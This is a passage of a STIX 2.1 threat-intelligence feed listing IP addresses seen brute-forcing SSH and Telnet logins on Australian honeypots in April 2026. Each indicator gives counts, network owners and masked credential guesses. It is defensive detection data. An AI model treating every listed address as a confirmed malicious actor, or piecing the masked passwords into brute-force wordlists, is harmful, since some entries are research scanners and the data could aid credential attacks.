      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 242. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10796. Organisation(s): Charter Communications Inc. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****d, 1******0, 5****0.",
      "id": "indicator--958d00e2-9bad-4e80-a98f-d409d239387e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '74.87.117.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:15:11.000Z",
      "valid_until": "2026-05-04T03:15:09.000Z"
    },
    {
      "created": "2026-04-02T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--094005b2-b6fa-43d5-ba73-b477389aa2c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.211.162.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:15:11.000Z",
      "valid_until": "2026-05-04T03:15:09.000Z"
    },
    {
      "created": "2026-04-02T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 242. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 6739. Organisation(s): Vodafone Ono, S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****d, 1******=, 5****0.",
      "id": "indicator--47445c3a-16c9-436f-9b77-1c048d886c96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.39.82.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:15:11.000Z",
      "valid_until": "2026-05-04T03:15:09.000Z"
    },
    {
      "created": "2026-04-02T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13370. Organisation(s): Ziply Fiber.",
      "id": "indicator--55a4fc39-e724-4bd8-b08e-f5327c608f6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '96.46.31.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:15:11.000Z",
      "valid_until": "2026-05-04T03:15:09.000Z"
    },
    {
      "created": "2026-04-02T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 136336. Organisation(s): Thamizhaga Internet Communications Private Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********b, 1*******o, 3***********4, 3**********4, a******1.",
      "id": "indicator--f3cb4b21-cc2c-43eb-a3aa-9c78fd82596f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.88.76.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T04:15:10.000Z",
      "valid_until": "2026-05-04T04:15:09.000Z"
    },
    {
      "created": "2026-04-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--e8905136-8ba4-464b-8a52-b7109b732d00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.50.245.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T04:15:10.000Z",
      "valid_until": "2026-05-04T04:15:09.000Z"
    },
    {
      "created": "2026-04-02T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): r**t. Passwords observed (masked): 1**********6, 5********0, A*******#, ***, l****3.",
      "id": "indicator--61f6a3ee-7abc-4a53-a3d1-11e09490325e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.125.233.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T04:15:10.000Z",
      "valid_until": "2026-05-04T04:15:09.000Z"
    },
    {
      "created": "2026-04-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 206206. Organisation(s): Kurdistan Net Company for Computer and Internet Ltd.. Usernames observed (masked): e****e, n****t. Passwords observed (masked): n****t, s****m.",
      "id": "indicator--e71fc43a-159e-4337-a994-6158f4b31811",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.106.29.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T04:15:10.000Z",
      "valid_until": "2026-05-04T04:15:09.000Z"
    },
    {
      "created": "2026-04-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61824. Organisation(s): Top Servicos de Telecomunicacoes Ltda.",
      "id": "indicator--a8c84007-fa2b-4d67-bb59-702dc5316382",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.131.163.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T04:15:10.000Z",
      "valid_until": "2026-05-04T04:15:09.000Z"
    },
    {
      "created": "2026-04-02T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f938593e-9be1-45e8-9d34-eb9448f40dbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T04:15:10.000Z",
      "valid_until": "2026-05-04T04:15:09.000Z"
    },
    {
      "created": "2026-04-02T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********b, 1**********c, 3***********4, 3**********4, R****!.",
      "id": "indicator--6170bbc4-a42b-4180-9cdb-f27875a916fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '212.47.75.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T04:15:10.000Z",
      "valid_until": "2026-05-04T04:15:09.000Z"
    },
    {
      "created": "2026-04-02T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T04:15:10.000Z",
      "valid_until": "2026-05-04T04:15:09.000Z"
    },
    {
      "created": "2026-04-02T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**2, 1********3, 1*******3, 3***********4, 3**********4.",
      "id": "indicator--d8a3e46a-7457-4fa4-8e67-d06a00c0af82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.21.72.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T05:15:10.000Z",
      "valid_until": "2026-05-04T05:15:08.000Z"
    },
    {
      "created": "2026-04-02T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 104. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********c, 3**********4, Z******1, a******5, q*******6.",
      "id": "indicator--1eee04fb-4b12-4c01-8af9-44204ed32bda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.124.188.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T05:15:10.000Z",
      "valid_until": "2026-05-04T05:15:08.000Z"
    },
    {
      "created": "2026-04-02T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--5cccbab0-c53a-4712-ad78-adcbe620b665",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.86.91.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T05:15:10.000Z",
      "valid_until": "2026-05-04T05:15:08.000Z"
    },
    {
      "created": "2026-04-02T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--d59462ad-3a57-42b0-bb72-41c0d9108004",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.246.222.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T05:15:10.000Z",
      "valid_until": "2026-05-04T05:15:08.000Z"
    },
    {
      "created": "2026-04-02T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7b8a29ad-a669-4061-ac3d-8c4b822c391a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T05:15:10.000Z",
      "valid_until": "2026-05-04T05:15:08.000Z"
    },
    {
      "created": "2026-04-02T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--5ea5a271-9e38-4f11-993f-d7263f528e0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '3.134.216.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T05:15:10.000Z",
      "valid_until": "2026-05-04T05:15:08.000Z"
    },
    {
      "created": "2026-04-02T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63023. Organisation(s): GTHost. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******!, a*********6, p**********$.",
      "id": "indicator--f7ee910d-39f5-43ac-8bbf-31d62498ffdd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.114.121.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T05:15:10.000Z",
      "valid_until": "2026-05-04T05:15:08.000Z"
    },
    {
      "created": "2026-04-02T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 128. Sensors involved: Heralding. Target ports: 1080. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a***n, r**t, p***y, s***s, u**r. Passwords observed (masked): p******d, 1****6, 1**4, a***n, P******d.",
      "id": "indicator--639c03e5-f9ac-4ca6-8be6-b5eb568cde0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.222.38.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T05:15:10.000Z",
      "valid_until": "2026-05-04T05:15:08.000Z"
    },
    {
      "created": "2026-04-02T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7106. Organisation(s): Com Net, Inc.. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--07aeb717-151d-4555-b273-66ae911721ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.255.50.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T06:15:05.000Z",
      "valid_until": "2026-05-04T06:15:03.000Z"
    },
    {
      "created": "2026-04-02T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--6303b0d8-9acc-49ea-8815-8302c872ec4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.85.109.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T06:15:05.000Z",
      "valid_until": "2026-05-04T06:15:03.000Z"
    },
    {
      "created": "2026-04-02T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 17622. Organisation(s): China Unicom Guangzhou network.",
      "id": "indicator--44a74cc1-e4d1-4d66-8eb1-ed7ee8cc9b01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.249.128.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T06:15:05.000Z",
      "valid_until": "2026-05-04T06:15:03.000Z"
    },
    {
      "created": "2026-04-02T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--8b552010-1b64-44a2-a8b6-61719bab0833",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T06:15:05.000Z",
      "valid_until": "2026-05-04T06:15:03.000Z"
    },
    {
      "created": "2026-04-02T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45538. Organisation(s): ODS Joint Stock Company. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******d, 3***********4, 3**********4, A*******E, I******5.",
      "id": "indicator--b05aff1c-fc6d-4570-bcec-7bf5e4d3e1d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.78.10.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T07:15:06.000Z",
      "valid_until": "2026-05-04T07:15:04.000Z"
    },
    {
      "created": "2026-04-02T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Heralding. Target ports: 1080. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): 1***5, 1****6, a***n, r**t, u**r. Passwords observed (masked): 1****6, 1***5, a***n, p**s.",
      "id": "indicator--459ab818-b9ec-4179-873c-b7a6d279ebca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T07:15:06.000Z",
      "valid_until": "2026-05-04T07:15:04.000Z"
    },
    {
      "created": "2026-04-02T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******f, !**********B, !******X, 3***********4, 3**********4.",
      "id": "indicator--9d2b8ba7-66d2-4990-8dc7-2647f811e413",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.144.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T07:15:06.000Z",
      "valid_until": "2026-05-04T07:15:04.000Z"
    },
    {
      "created": "2026-04-02T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--aa994be2-b180-47a7-8158-95a24d411987",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T07:15:06.000Z",
      "valid_until": "2026-05-04T07:15:04.000Z"
    },
    {
      "created": "2026-04-02T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 3269. Organisation(s): TIM. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******d, 1******d, 1*********d, 3***********4, 3**********4.",
      "id": "indicator--ec70c158-c230-4727-895b-dd9349d346ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '79.45.101.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T07:15:06.000Z",
      "valid_until": "2026-05-04T07:15:04.000Z"
    },
    {
      "created": "2026-04-02T08:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--98202d46-a772-4b13-b809-00f6782e07cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.248.215.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T08:15:15.000Z",
      "valid_until": "2026-05-04T08:15:08.000Z"
    },
    {
      "created": "2026-04-02T08:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 27843. Organisation(s): WIN EMPRESAS S.A.C.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A****-, D********6, D*********3.",
      "id": "indicator--7cfd814c-2e0d-4c03-aa13-888ebddc2de9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.132.89.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T08:15:15.000Z",
      "valid_until": "2026-05-04T08:15:08.000Z"
    },
    {
      "created": "2026-04-02T08:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t. Passwords observed (masked): a*******!, m****n, q********3.",
      "id": "indicator--c70823c4-1bda-431b-bc99-affb800a5f65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.237.94.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T08:15:15.000Z",
      "valid_until": "2026-05-04T08:15:08.000Z"
    },
    {
      "created": "2026-04-02T08:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 44050. Organisation(s): Petersburg Internet Network ltd..",
      "id": "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.215.0.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T08:15:15.000Z",
      "valid_until": "2026-05-04T08:15:08.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********, 1****2, 1*****x, 3***********4, 3**********4.",
      "id": "indicator--553c4342-6762-4202-b266-5fa424c9b04b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.32.128.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
